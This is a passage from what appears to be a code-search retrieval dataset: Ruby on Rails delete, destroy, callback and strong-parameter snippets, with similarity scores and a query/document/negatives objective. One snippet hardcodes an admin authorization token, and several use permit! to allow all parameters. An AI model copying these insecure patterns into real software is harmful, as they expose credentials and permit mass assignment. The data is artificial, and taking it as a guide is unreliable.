get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete(*rest) end", "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end", "def delete\n api_client.delete(url)\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @drink.destroy\n respond_to do |format|\n format.html { redirect_to drinks_url, notice: 'Drink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @drink.destroy\n respond_to do |format|\n format.html { redirect_to drinks_url, notice: 'Drink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def deleteFlatpackLinkAll( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack/link/all\",params)\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n request(:delete)\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete; rest_delete(link('self')); end", "def delete; rest_delete(link('self')); end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n @includes_drink = IncludesDrink.find(params[:id])\n @includes_drink.destroy\n\n respond_to do |format|\n format.html { redirect_to includes_drinks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def delete\n \n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meal_dish.destroy\n respond_to do |format|\n format.html { redirect_to meal_dishes_url }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end", "def delete\n api(\"Delete\")\n end", "def delete(href, additional_parameters = {})\n rest_connect do |base_uri, headers|\n href = \"#{base_uri}/#{href}\" unless begins_with_slash(href)\n new_path = URI.escape(href)\n req = Net::HTTP::Delete.new(href, headers)\n req.set_content_type('application/json')\n req.body = additional_parameters.to_json\n req\n end\n end", "def delete!\n Recliner.delete(uri)\n end", "def delete\n\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n conn = @client.authorized_connection(url: @client.object_api_url)\n res = conn.delete do |req|\n req.url resource_uri\n end\n if res.success?\n data = JSON.parse(res.body)\n reload\n else\n nil\n end\n end", "def destroy\n @dinosaur = Dinosaur.find(params[:id])\n @dinosaur.destroy\n\n respond_to do |format|\n format.html { redirect_to dinosaurs_url }\n format.json { head :ok }\n end\n end", "def destroy\n @diet_dish.destroy\n respond_to do |format|\n format.html { redirect_to diet_dishes_url }\n format.json { head :no_content }\n end\n end", "def delete\n sql = \"DELETE FROM albums WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\nend", "def destroy\r\n @sivic_banco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_bancos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @bowl = Bowl.find(params[:id])\n @bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to bowls_url }\n format.json { head :no_content }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n \n respond_to do |format|\n RestClient.delete 'localhost:3001/colores/'+@color.id.to_s, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'}\n format.html { redirect_to colors_url, notice: \"Color was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n # @observation = Observation.find(params[:id])\n # @observation.destroy\n\n @coral = Coral.find(params[:coral_id])\n @observation = @coral.observations.find(params[:id])\n @observation.destroy\n # redirect_to coral_path(@coral)\n \n respond_to do |format|\n format.html { redirect_to coral_path(@coral) }\n format.json { head :no_content }\n end\n end", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def destroy\n @apologetic.destroy\n respond_to do |format|\n format.html { redirect_to apologetics_url }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def destroy\n @nail_salon = NailSalon.find(params[:id])\n @nail_salon.destroy\n\n respond_to do |format|\n format.html { redirect_to nail_salons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @small_concert.destroy\n respond_to do |format|\n format.html { redirect_to '/admin/small_concerts' }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end", "def delete\n Iterable.request(conf, base_path).delete\n end", "def delete\n \n end", "def delete()\n sql = \"DELETE FROM albums\n WHERE id = $1;\"\n values = [@id]\n SqlRunner.run( sql, values )\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @ally.destroy\n respond_to do |format|\n format.html { redirect_to allies_url, notice: 'Ally was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ally.destroy\n respond_to do |format|\n format.html { redirect_to allies_url, notice: 'Ally was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end", "def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end", "def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end", "def cfa_delete\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_delete method\"\n begin\n id=params[\"format\"] \n cfa=RestClient.delete $api_service+'/cfa_titles/'+id\n rescue =>e\n Rails.logger.custom_log.error { \"#{e} Cfa controller delete method\" }\n end\n redirect_to action: \"index\"\n end", "def delete(url, headers = {})\n http :delete, \"#{url}.json\", headers\n end", "def destroy\n @drip = Drip.find(params[:id])\n @drip.destroy\n\n respond_to do |format|\n format.html { redirect_to drips_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dco_resource.destroy\n respond_to do |format|\n format.html { redirect_to dco_resources_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @duck.destroy\n\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\n end", "def destroy\n @advocacy = Advocacy.find(params[:id])\n @advocacy.destroy\n\n respond_to do |format|\n format.html { redirect_to advocacies_url }\n format.json { head :ok }\n end\n end", "def destroy\n @service_dependance = ServiceDependance.find(params[:id])\n @service_dependance.destroy\n\n respond_to do |format|\n format.html { redirect_to service_dependances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meal.destroy\n\n respond_to do |format|\n format.html { redirect_to meals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @l_ink.destroy\n respond_to do |format|\n format.html { redirect_to l_inks_url, notice: 'L ink was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @indication_for_meal.destroy\n respond_to do |format|\n format.html { redirect_to indication_for_meals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @diapo = current_church.diapos.find(params[:id])\n @diapo.destroy\n\n respond_to do |format|\n format.html { redirect_to diapos_url }\n format.json { head :no_content }\n end\n end", "def delete(url, headers={})\n RestClient.delete url, headers\n end", "def destroy\n @duck.destroy\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url }\n format.json { head :no_content }\n end\n end", "def delete_data\n response = WebPay.client.delete([path, 'data'].join('/'))\n response['deleted']\n end" ]
[ "0.6863395", "0.673317", "0.6686762", "0.6623346", "0.6570386", "0.654684", "0.64999276", "0.6485959", "0.6480546", "0.64771634", "0.6456781", "0.6456781", "0.6456781", "0.6456781", "0.64176786", "0.6416048", "0.6409534", "0.6387968", "0.6387438", "0.63845104", "0.63646704", "0.6360681", "0.6360681", "0.63448393", "0.6338177", "0.6334149", "0.6332607", "0.6325061", "0.63242406", "0.6323323", "0.6323323", "0.6319913", "0.6313455", "0.63116705", "0.6302766", "0.62804824", "0.6276193", "0.6271051", "0.6270937", "0.6267596", "0.6267343", "0.6267299", "0.6265269", "0.6264232", "0.6262474", "0.62582445", "0.62582445", "0.62558556", "0.6253293", "0.62451166", "0.6245009", "0.62389874", "0.62297857", "0.62246186", "0.62191224", "0.62181723", "0.62144166", "0.62095994", "0.6208981", "0.620564", "0.62025774", "0.61986524", "0.6197034", "0.6192069", "0.618878", "0.6188258", "0.61875737", "0.6183329", "0.618224", "0.6176621", "0.61717784", "0.61665964", "0.61665964", "0.61633533", "0.6160378", "0.6159305", "0.6159305", "0.6159305", "0.6159305", "0.6159305", "0.6159305", "0.6159305", "0.61581165", "0.61581165", "0.6157064", "0.6156025", "0.6150661", "0.61503583", "0.61497664", "0.61495423", "0.6147587", "0.61472964", "0.6145518", "0.6140585", "0.61380893", "0.6136996", "0.6136564", "0.6134876", "0.61304253", "0.61276686" ]
0.7240925
0
Use callbacks to share common setup or constraints between actions.
def set_alco_drink @alco_drink = AlcoDrink.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def alco_drink_params params.require(:alco_drink).permit(:title, :price, :type, :size, :url, :alko_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = 